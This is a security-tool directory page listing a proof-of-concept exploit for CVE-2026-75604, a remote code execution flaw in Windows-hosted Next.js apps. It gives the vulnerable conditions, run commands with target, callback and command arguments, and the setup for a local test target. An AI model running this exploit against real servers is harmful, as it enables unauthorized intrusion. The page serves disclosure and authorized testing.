Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-75604-poc — Proof-of-concept exploit for CVE-2026-75604, an unauthenticated remote code execution in Windows-hosted Next.js apps, with callback-based command execution and local target setup. | Kitploit
工具/GitHubGitHub/rafabd1/cve-2026-75604-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Trojan
GitHubrafabd1/cve-2026-75604-poc

CVE-2026-75604-poc

Proof-of-concept exploit for CVE-2026-75604, an unauthenticated remote code execution in Windows-hosted Next.js apps, with callback-based command execution and local target setup.

查看仓库
88381219天前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
内容在请求的语言中不可用。显示英文版本。

CVE-2026-75604 RCE PoC

Python proof of concept for CVE-2026-75604, an unauthenticated remote command execution vulnerability in Windows-hosted Next.js applications that use both the Pages Router and App Router without Cache Components.

Demonstration

CVE-2026-75604 RCE proof of concept

Requirements

  • Next.js >=13.4 <15.5.24 or >=16.0 <16.3.3
  • Native Windows server
  • Pages Router and App Router without Cache Components
  • Default filesystem cache with a dynamic Pages ISR route and a dynamic cached App route
  • A compatible closure-bound Server Action
  • Python 3.9+ and a callback address reachable by the target

Validated with [email protected].

root@kitploit:~
python -m pip install -r requirements.txt

Usage

root@kitploit:~
python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP --pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE --app-cache-path /PATH/TO/APP_CACHE_INSTANCE

The Server Action path defaults to /. Use --action-field when its form has more than one field.

Required arguments:

  • --target URL: base URL of the Next.js application
  • --callback-ip ADDRESS: IPv4 address reachable by the target
  • --pages-cache-path PATH: existing dynamic Pages Router ISR page
  • --app-cache-path PATH: existing dynamic App Router page backed by the filesystem cache

Optional arguments:

  • --command COMMAND: command to execute; defaults to whoami
  • --action-path PATH: App Router page containing the compatible Server Action; defaults to /
  • --action-field NAME: form field consumed by the action; detected automatically when unambiguous
  • --callback-port PORT: callback port; defaults to 4331
  • --listen-address ADDRESS: local callback bind address; defaults to 0.0.0.0
  • --timeout SECONDS: request and callback timeout; defaults to 20
  • --insecure: disables TLS certificate verification

Local target

The optional target/ application pins [email protected] and uses the standard Next.js production server:

root@kitploit:~
cd target
npm ci
npm run build
npm start

Run the PoC in another terminal:

root@kitploit:~
python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 --pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed

The optional target provides the required routes and a compatible Server Action on /.

Disclaimer

This PoC is provided for educational purposes, security research, and authorized testing only. Use it only on systems you own or have explicit permission to test.

Credits

Credit to evolutionstorm & b0r1.

This PoC was independently reconstructed from the public advisory and Next.js patch.

下载工具